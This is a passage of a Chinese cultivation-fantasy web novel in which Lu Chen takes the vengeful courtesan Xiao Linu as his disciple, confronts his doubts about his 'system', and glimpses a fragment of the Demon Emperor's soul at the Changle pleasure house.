“我在百里钱庄有物所藏,来日你离来长乐楼之时,可凭藉这款玉牌前去取物。”
陆尘将一块玉牌交於小芸。
“公子这是……”
小芸脸颊绯红,一时间有些不知道说些什麽。
“不用多想,总之不是坏事。”
陆尘轻笑说道。
直到这时,小芸才抬起头看向陆尘,但也仅仅是一刹那,便又将目光偏移开来,她将那玉牌收起,施施然行了一礼。
“小环心性太过天真,是好事,但也是坏事,你二人各相照料吧。”
陆尘又道。
小芸点了点头,对陆尘此话倒并没有异议。
虽同是在这长乐楼中,小芸却比小环看的远上许多。
小环梦想着能成为像萧狸奴那般的长乐仙子,受诸多仙门子弟追捧,却不知哪怕是所谓的长乐仙子,也不过是笼中之鸟而已。
“公子说完了?”
萧狸奴停下步子,稍等了陆尘两步,直到与其并肩而行。
陆尘点了点头。
“公子没什麽与我说的?”
陆尘摇了摇头。
萧狸奴轻咦一声。
“为何她们都有,偏偏我没有?”
萧狸奴故作嗔怒之色而语。
“因为我说了没用。”
陆尘接着摇头。
“公子不说,又怎麽知道没用?”
若说先前萧狸奴只是在笑语逗弄的话,此时她便是稍稍有些认真之色。
“若有人劝我放下复仇念头,我也不会理会的,所以我也不会劝你什麽。”
陆尘停了下来,对萧狸奴而语。
萧狸奴花容失色,一时之间愣在原地。
忽地有风吹过,将之轻纱吹去,露出一张极为倾国倾城的面容,令得百花都为之失色。
这般面容,陆尘世间所见之人,也只有苏月仙以及宋璃二人能胜上半分。
“你是何人。”
萧狸奴已然没有先前那般嬉笑神色,而是眉头紧锁,看着陆尘,眼中满是疑惑与畏惧之色。
陆尘摇了摇头。
“我是谁不重要。”
“总之我确实劝不了你什麽,因为我一路至今,所为的念头其实与你一般无二。”
陆尘缓缓而语,神色郑重。
萧狸奴面色惨白。
“那你帮我,你我同是天涯沦落人,你帮我,我也能帮你的。”
萧狸奴看向陆尘,眸子里有些期待之意。
陆尘摇了摇头。
“我并不需要。”
“那你帮我可好,我求你了,帮我可好。”
她声音已然有了些许哭腔,後方几人都是有些吃惊,不知道前头二人是发生了什麽。
“恕我无能为力。”
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第一百九十四章 解惑之人
闻得陆尘此语,萧狸奴微愣在原地片刻,心绪激荡不已,久久不能平静。
小环几人也是停了下来,虽有些狐疑,也不敢多问什麽。
道士白银向来没什麽眼力见,但当下却是十分识相的在後边站着。
陆尘与萧狸奴二人之语皆是有术法屏退左㱏,故而几人并不能得知。
良久后,萧狸奴回过神来,面色竟是恢复如常。
“奴家先前失态了,还望公子见谅。”
极为貌美的女子向陆尘施施然行了一礼,其毕竟是见过大风大浪之人,先前只是因陆尘毫无徵兆的突然提及复仇一事,女子这才会恍然失态,在陆尘面前有些哽咽。
如今稍稍一想,倒也是回过神来,自己与人家无缘无故的,又怎麽可能这般求两句就让别人搭上身家性命给自己报仇,这世间是万万没有这样的理的。
这般想着,女子又露出笑容,明眸灿灿。
褪去了轻纱的遮掩,笑意在其脸上浮现时,便使得天地为之失色。
“无妨,虽说不能答应仙子之请,但我有一两句想说与仙子听,不知道仙子是否有意一听。”
陆尘顿了顿又道。
“公子但说无妨。”
萧狸奴莞尔一笑,气定神闲,全然没有先前那般失态。
她并不知晓陆尘身份,也并不知晓陆尘是从何而知自己欲行复仇一事,但既来之则安之,眼前人既然没有恶意,自己也没必要紧绷着心弦担惊受怕的。
萧狸奴虽年不过二十几,但其这些年所历,却已然要超过常世诸多之人。
从皇室公主到阶下囚,再到万人痴迷的长乐仙子。
其一路走来,历经大风大浪,自然也不会多有什麽惊恐。
“比起借他人之力,依我之愚见,还是以自身为重要好些。”
陆尘想了想,这般说道。
萧狸奴何等聪明,自然能听明白陆尘言外之意,只是她并不认可,当下嘴角勾起似笑非笑的笑意:“公子的意思是,要奴家以这娇弱的身子却与你们这般百岁入道君之位的天骄们争夺帝位?”
她嗤笑一声,美眸看向陆尘。
“公子不觉得自己在说笑吗?”
陆尘并未驳斥女子,只是平静而语:“未必不能。”
听到陆尘这话,萧狸奴怒极反笑,令得百花失色。
“公子说的倒是轻巧。”
她冷声而语,不欲再多说些什麽。
从青丘府而出,向东千馀里,便是能瞧见有一座石拱桥跨着小溪矗立,相较於园中大部分去处,此地倒是人影稀疏,有些寂寥。
萧狸奴站在桥头,看向陆尘而道:“此桥名为忘忧桥,意欲过了此桥,入长乐城中,一切忧愁皆忘,此後便唯有长乐。”
她红唇轻启,声音虽并未刻意软糯而语,却亦是给人一种酥麻之感。
“公子要带上他们吗?”
萧狸奴转身,指了身後的一干人。
陆尘摇了摇头,单单向道士白银一瞥。
“带上他就行。”
萧狸奴微微颔首,便带着二人踏上那石拱桥上。
桥小小溪有一声轻啼响起,好似蛟龙呼啸。
小环向陆尘使劲招手,小芸则是怯怯的向陆尘行了一礼。
陆尘向二人笑着点头,便又转过身去,走在那石拱桥上。
长桥看着不过几步的脚力,但陆尘一行人却是走了不少的步子,周遭天地悄然间变换,好似漫步於虚空之中。
“长乐城居於天启城之下,然并非是实地相连,需以此虚空通道,方可入其中。”
萧狸奴轻声而语。
她有一点并未与陆尘说,那便是长乐仙子之轻纱,唯有见其倾心之人,方会揭之。
当然萧狸奴对陆尘倒并没有那方面的男女之情,只是想以此来博得陆尘些许心动而已。
她向来对自己容貌异常自信,纵使对方身居真君高位,也不可能真的就道心纤尘不染。
但很可惜的,陆尘并未有分毫心动。
萧狸奴也强求不来,自己如今不过是笼中之雀,能与人所交易的,也不过是自己自信的容貌,既然陆尘对自己的容貌并无半点兴趣,自己又何必自讨没趣。
“入长乐城者,须有长乐仙子陪侍左㱏,一日所需,需一件地阶灵宝。”
萧狸奴又看向陆尘。
陆尘随手取出三件天阶灵宝,交於萧狸奴。
“公子出手当真大气,斗胆问一句,出身哪门哪派,难怪能说出那般话来。”
萧狸奴见陆尘这排场,不知为何,心中又无端生出一股气来,当下有些讥讽的问道。
她也意识到自己这话说的有些过了,但在这笼中压抑惯了,萧狸奴今日反倒偏生冒出点想要放纵的念头来。
反正眼前的这位公子喜欢说教,那自己说他两句也没事吧。
谁叫他见到我竟然半点没有心动之意呢?
若不是萧狸奴对自己的美貌向来有清晰深刻的认知,否则真会觉得那面纱掉下去的时候,陆尘毫无反应,怀疑起是不是自己姿色平庸并未给其什麽惊艳之感了。
萧狸奴倒是并不知晓,并非是她姿色不够高,也不是陆尘真就是坐怀不乱,对女色半点不感兴趣。
实在是见过苏月仙以及宋璃那般堪称令明月羞愧的神颜后,陆尘对於女子容貌反倒是看的平淡了诸多,看来看去,其实都没有什麽多大的差异,总之再好看,也好看不过苏月仙就是了。
“我出身小门小派,并非有出自高门。”
陆尘摇头说道。
“既是小门小派,又如何能一口气拿出这麽多东西,又如何百年时间不到,便入真君之境?”
萧狸奴连番追问。
她知晓陆尘也背负深仇大恨,可以其如今修为,就算是再怎麽样的深仇大恨,总有一日也能报的了吧。
可自己呢?
自己无论如何费尽心力,又怎麽可能修行到能以一己之力撼动景朝的那般地步。
更别说自己今日尚且还见着了那景朝帝子,知晓其是如何的天姿无双。
其实萧狸奴的修行资质并不差,相反来说是极好。
其本就是出身古国,自有传承,再加之身负大妖血脉,怎麽说也算的上是一代天骄,哪怕放在中土之上,也能与同辈人争锋。
只是这并没有什麽意义,就算自己比的过同辈九成九的年轻人又如何,自己想要复仇,依旧是痴心妄想而已。
至尊,道君?
纵使修行一生,终成道君,可对於景朝来说,那又如何呢?
帝者传承,又岂是自己所能撼动。
帝者,唯有帝者。
只有登临帝位,方才能覆灭这亘古长存的古老传承。
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但今日好不容易等来两人,却都对自己没有半点心思,萧狸奴自然有些心灰意冷,又有些许莫名的生气。
“我确实侥幸有些奇遇。”
陆尘顿了顿又道。
“既然公子也知晓,是靠着诸般奇遇才有了今天这般成就,怎麽到了我头上,又开始劝我好好修行,不要依靠外力呢?”
萧狸奴牙尖嘴利的,与其身上如明月般的素雅气质倒是极为不符。
陆尘沉默片刻,一时间竟有些失语。
女子说的并没有错,若非是有系统相助,单以自己之力修行,恐怕如今还未能见到麒麟玉影,更别说跻身这般境界了。
“公子怎麽不说话了?”
萧狸奴眯眼而笑,眉宇间有些许的得意之色。
“你说得对。”
陆尘正色而语。
这下反倒是萧狸奴有些愣神了,她倒没想到自己随口一说,陆尘竟是真往心里去了。
“且慢,让我歇息一会。”
陆尘似乎有些累了,当下开口说道。
萧狸奴点了点,有些许胆怯的看向陆尘。
不会吧,不会堂堂真君道心这般不定吧。
她有些担惊受怕的想道。
扰人道心犹如杀人父母,断人修行路,萧狸奴自然不想莫名其妙就背上这麽一口大锅。
女子脑海之中思绪翻飞,陆尘却并未想那麽多,当下盘腿而坐,闭目冥想。
道士白银叹了口气,原本那万分激动忐忑的心又按了下去几分。
“我行至今日,确实假借外力良多……”
陆尘心中暗念,灵气在周天灵脉流转,心海之中,已然没有了麒麟玉影的存在。
“若没有这系统,就没有今日我之成就吗?”
陆尘疑声自
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问。
诚然,一路所行,确实倚仗其力良多。
“可为什麽偏偏选中我呢?”
“就因为我是异界之人,就该像那些世俗小说中那般迎来系统,走向人生巅峰?”
陆尘又问。
他向来没有去深思这个问题,不是他忘了不去想,而是陆尘在刻意回避这个问题。
虽说在修行路上吸收各般精血,淬炼混沌真气也受了不少苦头,但与真正一步步走到这个境界的修士相比,自己这点苦头又算的了什麽呢?
陆尘之所以不敢去联想这个问题,那便是这个东西涉及到了他的大道根底之上。
若没有了它,便没有了如今的陆尘,可若全然由它所带来,那自己在求的又是什麽道?只是变作了系统所带来的任务而已。
万千思绪在陆尘脑海之中翻飞,虚空通道之间莫名的有股灵气四散开来,令得整片虚空通道都为之颤抖。
外力,外力,外力。
陆尘额头冒出冷汗,面色惨白。
萧狸奴看着陆尘这副模样,心中又忽地生出了些许愧意。
她长袖一挥,唤出那有着凤凰虚影浮现的名贵长琴。
女子素手拨弄琴弦,琴音奏响,带着股空灵出尘之感,令人躁动的心不自觉的安静下去。
她看的出来,陆尘在问道又或是在悟道之中,或可一朝得悟,更进一步,又或许会道心碎裂,境界一跌再跌。
“没了系统,我能走到哪一步……”
陆
尘眸子紧锁,心海之中翻涌不息。
走不了,根本走不了。
有麒麟玉被夺留下的反噬在,自己终之一生,最多也不过在紫府之境而已。
而苏月仙那道无意识的残魂也不会选中自己㣉井中世界。
“成就我的,真的只是系统吗……”
陆尘呢喃自语,道心微微晃动。
他的嘴角不自觉的有鲜血渗出,脸色煞白。
若没有系统,我今日会如何……
他不断自问,道心越发颤动。
萧狸奴脸上的担忧之色更甚,她与陆尘无冤无仇,陆尘好言相劝,自己反而是多翻呛其所语,更是引得其如今道心不定,当心自觉有愧,却又无能为力,只能以手拨弄琴弦,带着期盼之意看着陆尘,希望其能从中得道醒来。
不对……
不对……
不对……
陆尘呢喃自语,心中忽地好似想到了什麽。
自己为何要假定自己没有系统?
自己又为何要想当然的认为系统便是外力?
它既然出现在我之身,那便是我之部分。
就如有的少年至尊天生神骨,有的背负天图一般,系统终归不过是一个物而已。
物尽其用即可,又何需多虑。
哪怕如今没了系统,陆尘亦有自信登录至尊之位,来日问剑天渊。
一瞬之间,陆尘恍然大悟。
自己本就没必要去思索系统到底是不是外力,既是外力又如何,人生於世,又岂能有不借力之人。
再者其既然选中了自己,那便是自己所有之物,又谈何称什麽外物。
良久后,陆尘眸子睁开。
心中已然不染丝毫杂念。
有关系统的念头其实一直积压在他心底,陆尘向来并不愿意去多想,只当自己像是前世小说中的男主角一般,就活该有系统,就活该靠着系统走上人生巅峰。
但经萧狸奴一说,陆尘才真正开始冥思细思起来。
最终其实也并没有得出什麽结论,但重要的,就是这个没什麽结论。
陆尘站起身来,向萧狸奴点头致谢,向来是其指点他人,却没想到今日受其一言所引,将积压在心中日久的问题给就此解决了。
“为了答谢你,我可以给你三个选项,一,我可帮你重建故国,不过得待我成尊之後,二丶我可以帮你离开此地,你无需再作笼中之雀,三,我收你为徒,传你修行之法,来日你自行复仇。”
陆尘摆出三根手指,向萧狸奴说道。
萧狸奴微微一怔,脱口而出:“三。”
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第一百九十五章 九帝
话一说出口,萧狸奴又有些後悔。
眼前青年男子境界修为确实高的吓人,但以其一人之力,又如何与帝朝抗衡,更别说只是收自己为徒了。
相较之下,倒不如复国来的实在些。
可是女子又转念一想,昔年皇室旧人尽数凋零,哪怕当真复国了,唯余自己一人,又有什麽意义呢?
“当真吗?不想复国?”
陆尘问道。
女子稍稍迟疑片刻,还是摇了摇头。
“想,但是复国是假,复仇是真。”
萧狸奴又道。
道士白银站在二人身旁,却听不到二人在说些什麽。
不过他也并没有这份心思去听便是了。
此刻道士白银心好似有神人擂鼓,声响震如雷霆。
快要与母亲见到面了,心中反倒是有些胆怯之情。
“你可要想清楚,便是我收你为弟子,也不可能出头替你报仇,你要想寻帝朝报仇,我能做的要麽是等你凯旋归来,要麽只是给你收尸而已。”
陆尘又道。
萧狸奴眉眼有些许疲惫之色。
她没来由地有些泄气,无论如何,以帝朝的底蕴,自己也不可能有能与之抗衡的那一天吧。
“那公子可能等到的,只能是我的死讯了,哪怕我修行到道君又如何,要如何与帝朝相抗衡。”
萧狸奴语气幽幽。
“你为何一定觉得自己最多只能修行到道君之境呢?你为何不想想,或许自己能横压一代天骄,最终登临帝位呢?哪怕未能登临帝位,修行到几近帝位的地步,再寻一件帝兵,又如何不能与帝朝抗衡?”
陆尘看向萧狸奴,正色而语。
萧狸奴哑然失笑。
“公子可太看得起奴家了,奴家对自己的修行资质有所认知,知晓自己能走到哪一步。”
萧狸奴又道。
“你可知景帝?”
陆尘并未接过女子话头,而是忽地转念这麽一说。
女子稍稍一愣,有些不明所以的看向陆尘。
“我与所说并非是景朝天子,而是昔年帝䭾,帝号为景。”
陆尘顿了顿又道。
萧狸奴看向陆尘,还是不明所以。
“景帝是位女子,你可知晓?”
陆尘看向萧狸奴道。
萧狸奴面露震惊之色,不可置信的看向陆尘。
世间帝䭾古往今来不过九人,向来未曾听过有哪位是女子的。
她紧盯着陆尘,想从其神色中看出其是否是在作假,却没想陆尘神色郑重,眸子清澈如水,并无半点唬人的意味。
“数个纪元前,中土的三大帝朝还不是元景玄这三家,而元明玄。”
陆尘缓缓而语,道出一段秘辛,他所得古籍残卷良多,故而知晓不少埋藏於青史之中的隐秘。
“景帝年少之时并非是修行人,年二十一时,其青梅竹马的未婚夫因明朝底下一个很小很小的官吏所死,景帝这才开始修行,一心复仇。
心念几近成魔,其一路杀伐,至帝路,终登帝位,万年帝朝亦是因之而葬灭,不复存在。”
陆尘又这般娓娓道来,将帝者昔年往事说与萧狸奴。
天下九位帝者,陆尘已然尽皆知晓这九位的名号。
轩辕黄帝,青帝,赤帝,魔帝,元帝,玄帝,景帝,明帝,白帝。
轩辕黄帝为有史记载以来的第一位帝者,至於在其之前是否有帝者存世,世人便不得而知了。
白帝乃为最後一位帝者,虽离此番纪元最近,但有关其记载却是极少。
“景帝年二十一方才修行,又无何天赋神通,尚且能入帝路争夺帝位,你出生古国,又身负大妖血脉,又何以自怨自艾,觉得登临帝位的一定不会是你呢?”
陆尘正色而语,并没有什麽嬉笑之意。
他有一点没有说与萧狸奴,昔年景帝最开始修行,倒并不是为了复仇,只是想要行转世续缘之法,与心念之人来世再续。
这其中发生了什麽,令景帝自此一心复仇,并且登临帝位后将转世续缘之法禁绝,陆尘倒是不得而知。
“帝者皆是受天命所嘉之人,又岂是我能相比。”
萧狸奴失神摇头,整个人好似提线木偶一般,没有半点神色。
“若你是这种心思,那别想着什麽报仇
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了,安然在此地当个笼中雀便是了,我看这麽多人唤你仙子,与当年在皇宫之中相比,应该也差不了多少了。”
陆尘不再劝诫,讥讽而语。
萧狸奴脸上出现些许怒容,她看向陆尘,张了张嘴想说些什麽,但最终还是没有开口。
“景帝孤身一人,尚且年二十一方才修行,你为我陆尘弟子,又如何不能登临那帝者之位。”
陆尘忽地高声而语,声若雷霆。
萧狸奴当即一惊,忽地觉得眼前的男子有些陌生。
先前这位青衫男子说话总是和颜悦色的,给人的感觉就好像是书院夫子一般,温文儒雅,令人如沐春风。
可此时男子却神情郑重,眸子之中闪着炽热的火光。
他那般豪气之语,就好似
自己是帝师一般,而其门下弟子学生,也终将登临帝位似的。
“真的可以?”
萧狸奴终於升起些许的炽热念头,自己的修行资质也并不差,出身古国,身负大妖血脉,已然越过了诸多同辈天骄,凭什麽自己就一定要觉得自己定然不能登临那帝者之位呢?
“你不该问我,该问你自己。”
陆尘正色而语。
萧狸奴沉默良久,最终向陆尘一拜。
“萧沐云,见过我师。”
陆尘安然受之。
自己指点过这麽多学生,但真正收入门下的,其实只有白平安一人。
不过相较起来,段凌云倒更像是自己的大弟子,虽未有师徒名分,却俨然已是师傅弟子,夫子学生的关系。
“我会传你修行之法,以及一些灵宝神药,别的便不会再多管了。”
陆尘又道。
萧狸奴点了点头,一位百岁不到入真君者,那麽自己仍是出云古国公主之时,也有这个资格当自己的老师,更别说自己如今国破家亡,只是长乐楼中有着漂亮羽毛的金丝雀了。
“你也不用觉得我给的少,因为我已经给了你最重要的东西了。”
陆尘又道。
萧狸奴微微一怔,似乎并没有明白陆尘意欲所指。
“争帝之心。”
陆尘手指心口之处,一字一句而语
第一百九十八章 帝
此间两方人马相对而视,气氛一瞬间降到冰点。
萧狸奴不愿再理会眼前的跋扈公子哥,冷着脸带着陆尘二人向下一层而去。
“就此离开,或有一线生机,否则,命数将近。”
擦肩而过之际,陆尘轻语。
公子哥不明所以,只觉得陆尘在装神弄鬼,当下气不打一处来,灵气外放,便欲拔剑动手。
“耿公子又来了?不知这次,还有什麽能押上桌的呢?”
就在耿千秋怒极欲动手之时,忽地又有一道声音响起,语气幽幽,好似冥府而来的厉鬼一般。
陆尘心有所感的停下脚步,回头而望。
只见得不远处走来一位年轻男子,乌黑长发极为肆意地披散在肩头,与常年束发的仙家子弟大相径庭。
有几缕发丝散乱得垂落在那白皙且棱角分明的脸庞上,无风自动,隐约间显得那双狭长眸子更加深邃。
青年身着一袭黑色的锦袍,周身并无其他挂饰。
锦袍上有着暗红色的丝线,缠绵勾勒着极为奇异的纹路,在花灯之下闪烁着若有若无的异样光芒。
他的嘴角勾起,似笑非笑。
似乎是察觉到陆尘投来的目光,那青年男子也看向陆尘,咧嘴一笑,露出尖牙。
陆尘面色淡然的向其报以微笑,心海之中却是汹涌异常,好似有神人擂鼓。
魔帝分魂,布局数千年而再登帝位者,正在眼前!
【姓名:顾乾】
【年龄:???】
【境界:至尊】
【命格:淡彩】
【生平:魔帝分魂之一,因出世较晚,故而比之其他分魂修行进展要慢上许多。
再加之有一道分魂自视主魂,已然吞噬三道分魂,正遍寻其其馀分魂,故而顾乾一直避世不出,寻他法欲求生。
后其遍观古籍,寻得一转世续缘的禁术,此法可使心念之人定下三世情缘,代价则是二者之中,修为较高者的一半修为。
世人皆以为这一半修为皆是给予绑定情缘之人,然则顾乾於古法之中得之,缔结情缘者,实际上给出得修为乃是五成五,而这五成五之中,又有三成会落入施展禁术之人体内,仅有二成五是落入其缔结契约之人体内。
因禁术本受遮掩,再加之缔结契约之人早就不在乎修行与否,故而对这其中隐秘极难察觉。
古法虽遭禁绝,後世不显,然顾乾毕竟是魔帝分魂之人,才情惊世,仅从残篇断章之中就推导出完全的禁术之法。
后其设计令剑道至尊徐长安堕入情劫之中,诱使其寻转世续缘之法。
顾乾在施展此法之後,境界不但突飞猛进,破境如破竹,更是从其中看出了这转世续缘之法的端倪,猜到了它为何会遭封禁。
为了印证心中猜想,缔造一场观道,令自己百尺竿头更进一步,其又设计,令一道魔帝分魂将徐长安镇压,同时又引诱魔帝分魂自散肉身,以此躲避那主魂追杀,以免那主魂势大难以遏制。
顾乾筹谋算计,再加之古法裨益,又悟得新道,一一将诸分魂收入准帝器——炼狱之中,只待帝路将开,有人称帝之时,藉由天时地利人和,破开禁制,再度称帝。
後天渊之人登帝位,顾乾吞噬其馀分魂,借帝路之泽,再登帝位。
双帝临世,举世皆惊。】
【近期遭遇:为猎杀囚禁一道分魂,需白日门倾城之力铸造一柄极为特殊之剑,故其设计引耿千秋沉沦於长乐楼中。】
武道天眼之下,魔帝分魂的生平尽入陆尘眼中,令其心海之处翻涌不止,难以停歇。
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好一个魔帝……
陆尘心中暗叹,面上却并未显露丝毫异色。
除却震惊之外,陆尘心中还有些许迷惑,连帝䭾分魂的生平自己都能查看,为何那天渊宋璃的生平却是一团迷雾,好似被人刻意遮掩了一般。
天道有意遮掩,这般事情,已然不是一次两次了……
陆尘自顾自的念道。
在见到眼前魔帝分魂的生平一览无馀后,陆尘已然越发确定。
青帝,白帝,天渊宋璃……
他们三䭾之间必然有着某个共通之处,以至於有天道遮掩,令得前二K
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7e;留於青史不过只言片语,而後䭾在武道天眼之下也难以看穿。
“这位道友,你我好像在哪里见过。”
陆尘转过头去,便欲离开之时,那黑袍散发的青年却忽地这般说道。
他嘴角勾起,似笑非笑,表情玩味。
陆尘转过头去,面色淡然而语:“哦?道友不妨说说是在何处曾见过?”
他面色淡然,心中却是雷声大作,丝毫不能停息。
古往今来称帝之人不过九,如今就有一位活生生的站在自己面前。
哪怕只是一道分魂,那也足够惊世骇俗了,若是外界得知,指不定要掀起多少腥风血雨。
顾乾上下打量着陆尘,最後说了句颇为玩味的话:
“似在梦中曾见。”
陆尘轻笑了声,倒并未再说些什麽,当下便是随着萧狸奴等人向下一层而去。
顾乾微眯着眸子看向陆尘背影,也未再出言唤之。
待得陆尘身影全然消失后,顾乾方才幽幽而语。
“黄金大世,果在今朝。”
耿千秋看着顾乾神神叨叨的,眸子里流露出厌恶之色,只是他虽嚣张跋扈惯了,但不知为何,在眼前人跟前却并不敢作出狂悖之举。
至於为什麽,耿千秋自己也说不准,大抵是直觉一类的东西吧。
“今日我不与你作赌。”
耿千秋咬了咬牙,按捺下自己心中无端的畏惧之意向那黑袍青年说道。
黑袍青年耸了耸肩,全然无所谓的模样。
“随你咯。”
他笑了笑,却令耿千秋好似被寒风吹过一般颤栗不止。
傻孩子呀,你和谁作赌又有什麽区别呢?
顾乾自顾自的念道,悠悠哼着小调在阁中穿行。
幽林雾霭兮,影影绰绰。
幻梦缥缈兮,唯余茫茫。
心魂飘荡兮,悠悠难忘。
幽意难测兮,不见上苍。
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第一百九十九章 羲和
“刚才那位给我的感觉好可怕,就好像见到楼主一般。”
连下数层楼后,萧狸奴长舒了口气,向陆尘说道。
她的脸色先前极为煞白,在这时方才恢复了些许血色。
“确实不简单。”
陆尘点了点头,脸色平静说道。
只是其心中却是暗叹,那家伙可和你那什麽楼主不能放在一起并论。
世间能与之相较者,现如今恐怕只有其馀帝者所布後手。
若非其需借帝路之泽突破天地禁制,恐怕这帝位归属,也轮不到那天渊之人的头上。
“事非偶然,魔帝後手已现,景帝後手疑似显现,既然如此,其馀帝者所布的後手或许也已然显现,只是自己尚未知晓而已。”
陆尘呢喃而语,心中有如浪涛席卷,汹涌不止,丝毫不得停歇。
良久后,他摇了摇头,不再思索这些杂事。
纵使帝者後手显现,想必也是针对天道或是其他帝者所布,以如今之势,无论如何都牵连不到自己身上,倒是无需为此多费心神。
“公子,到了。”
就在其晃神之际,一行三人已然到了第三层,诸长乐仙子所居的温柔乡中。
只见得里间雕梁画栋,又有无数花灯悬挂,实属美轮美奂。
阁中中央之处,摆放着一座占地极广的戏台,其上铺设着不知何处而来的名贵红布,尽显华丽之色,却又不失大气。
戏台之上,长乐仙子们随着好似凤鸣般的乐声翩然起舞,皆头戴金饰,轻纱蒙面。
再加之腰系彩带,更宛如仙女下凡一般,舞步轻旋,婀娜多姿。
阁中的仙门子弟亦或是帝都权贵们,或品茶论道,或目赏仙姿,或吟诗作画,或舞剑纵酒狂歌,总之是热闹异常,与陆尘所料想的场景倒是有些不一样。
陆尘等人寻了一张名贵神木所制的园桌坐下,便有姿色不俗的侍女乘上各般美酒佳肴。
美酒佳肴,美人作陪,又能玄而论道,又能纵酒狂歌,难怪此间之地这麽多人沉沦於此。
陆尘自顾自而语,转视周遭,里间大多数人都不过黄色气运,偶有几位蓝色气运者,已然极为稀少。
要知晓这可是在帝都这般随便扔一个板砖都能砸到一片天之骄子的地方,可想而知,周遭这些人因长乐楼中的温柔乡堕落成什麽样子,以至於诸多出身极为尊贵者,却不过黄色气运。
“这是仙子群舞,群舞过後,又会有仙子独秀。”
萧狸奴向二人解释道。
道士白银却是全然听不进去半点,目光死死的在戏台之上的长乐仙子之上扫过,像是在疯狂寻找着什麽。
陆尘小酌一口美酒,向萧狸奴问道:“不知道那位艳冠中土的花魁是否在其中?”
“公子是说羲和仙姬吗?”
萧狸奴愣了一愣问道,在此人多眼杂之地,她自然不会唤陆尘老师或是什麽夫子。
“对的。”
陆尘点了点头。
他虽未曾见过这所谓的羲和仙姬,但在帝都之中多日,却是早有耳闻。
中土之人皆言,长乐楼花魁乃为中土第二美人,天下间鲜有人能与之相提并论。
其美色之盛,甚至曾有两位至尊同至长乐楼中,为其豪掷大道真器。
“公子瞧见那盏灯了吗?”
萧狸奴手指戏台之上最为特殊的那盏花灯,花灯内里好似有水痕荡漾,给人一种异样之感。
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陆尘点了点头,那花灯内里的水痕在缓慢上涨,波动虽是并不明显,但以其神识之敏锐,自然能轻易感知。
“在这小碗之中掷入灵石,便可使得那花灯水痕上涨。”
萧狸奴又指了指随着美酒佳肴一同抬上的一盏琉璃小碗。
这琉璃小碗的品轶并不低,已然到了地阶上品灵宝的地步。
“若要使花灯水痕盈满,需多少灵石?”
陆尘轻叩木桌又问。
萧狸奴伸出三根纤细手指。
“三,三件大道真器相当的灵石,并且这只是唤出羲和仙姬而已,若想美人相伴,还需场中诸多人竞价,价高䭾方可有此机会。”
萧狸奴话音未落,便猛的有一剧烈响声在她的耳边炸响,其稍稍一惊,只见道士白银攥紧双拳,眸子里满是怒意。
“你们这不是全然将人当做货物买卖不是!”
他愤然而语,死死的盯着萧狸奴。
萧狸奴也不是什麽好惹的主,自然
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也不惯着道士白银的臭脾气,当下眉头紧锁,冷眼而语:“世间人行事,本就算的上是买卖言之,无非是或赚或赔而已。”
“公子既然这麽愤恨,又何必冲奴家这小女子发火,倒不如我带你去寻我们楼主,你跟他说,让他不要做这些买卖勾当,还众人一片逍遥可好?”
萧狸奴冷笑一声,讥讽而言。
道士白银沉默良久,最终还是向女子道了声歉。
他的目光看向戏台之上看去,心莫名的好似被刀割一般。
道士白银听得出萧狸奴言语之
中的讥讽之意,也知晓自己其实无力改变这一切,但其一听到那名为艳绝中土第二人,实则却好似货物一般供人竞价挑选之时,无端的愤怒便自其胸中涌出,分毫难以抑制。
“该死,该死,该死。”
他目光又向周遭扫去,眸子里带着十足怨恨之色。
“总有一日,我要此地再无长乐楼。”
道士白银在心底暗自发誓,定要要将此间地界尽毁。
“若想活命,若不想牵连至亲之人,接下来我所说的每一句,你都要听好。”
忽地有一道声音传入道士白银脑海之中,他猛然抬头看向陆尘,却见陆尘悠然饮酒,并未有什麽异色。
“第一,不要一惊一乍的。”
那声音又道。
道士白银郑重点头。
“第二,此地看似繁华热闹,毫无秩序可言,实则有诸多暗探巡防,你若与至亲之人相见,切不可有异色,如若不然,我也救不了你。”
道士白银将目光移开,神情转变的极快,并未再像先前那般万分愤慨。
“第三,君子报仇,十年不晚。”
陆尘看向道士白银,神情郑重。
白银沉默良久,最终点了点头。
他的眸子里虽没有什麽异色,但心中却是有滔天炽焰燃烧着,好似要将世间的一切埋葬。
“羲和仙子将至,诸位有眼福啦。”
不知是谁叫唤了一声,只见得那花灯水痕已经盈满。
有月华一瞬洒落。
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第两百章 龙族後裔
陆尘与白银暗中传音前,那花灯之中的水痕尚且未过三分之一,但不过转瞬间,那花灯之中的水痕便是极为迅速的盈满,显然是有人一掷千金,只为一睹仙子方言。
“磨磨唧唧的,本王倒是要瞧瞧,这所谓的中土第二美人是否是名不虚传。”
有一位身着蟒袍的中年男子高声而语,一时间竟压过了在场的喧嚣之声。
“镇北王,他竟然也来了!”
“当真是出人意料,世皆传言镇北王不喜女色,谁能想到他也能来这长乐楼中一掷千金。”
“三朝会武将至,各方大人物齐聚帝都,倒也不是什麽怪事。”
那独制的蟒袍一出现,在场众人便是知晓了那高声而语自称本王的中年男子是何人。
帝朝藩王,镇北王唐傲,且是景朝唯一一位异姓王。
据说其族中流传着龙类血脉,返祖者可化身为龙,无论是肉身还是术法都冠绝天下。
数千年前,有妖族自数条虚空通道而入中土,景朝首当其冲,向玄,元二朝求援而不得,玄,元二朝更是趁火打劫,合力北伐。
危难之中,唐傲镇守北方,在那一战中以身化龙,一人堵死妖族入口,以至於其所辖之地,无一人伤亡,景朝得以无後顾之忧,应对玄元二朝的攻伐。
后祸患消除,景朝破例封了个异姓王,令唐傲永镇北方,做了个真正的实权藩王,掌控景朝北部一大片的辽阔地图,各般洞天福地,尽入其囊中。
若以权势而论,这阁中众人恐怕无一人能与之相提并论。
毕竟此间不少人都是仙门世家子弟,而哪怕是这些仙门世家的老祖站在这,也不敢对这位声名赫赫的镇北王有什麽不敬。
毕竟说到底,这异性王还是靠唐傲自己打出来的。
“先前竟然没见着这般人物……”
陆尘呢喃而语,或许是因其身侧扈从遮挡,陆尘先前倒并未察觉到有这样一号人物在场。
武道天眼并不似神识那般一扫而知,而是确确实实的要目光所视,方可知晓。
“镇北王……龙族後裔吗,有点意思。”
陆尘轻叩了叩木桌,又小酌一口酒。
“好了,我先前所说,你可以全当没听过。”
陆尘忽地这般传音道。
白银微微一愣,不明白陆尘什麽意思。
陆尘却是并不再多言,而是头向戏台点了点,示意白银目光投向那一处。
只见得月华照耀之下,有位彩衣玉带的女子飘然而来,好似仙子下凡一般。
没有多馀的动作,没有多馀的举止。
那女子飘然落在戏台中央后,便是安安静静的在原地站立着,目光向远处眺望,好似要穷尽眼前景象一般。
全场鸦雀无声。
没有欢呼,没有起哄,没有赞叹。
只有寂静。
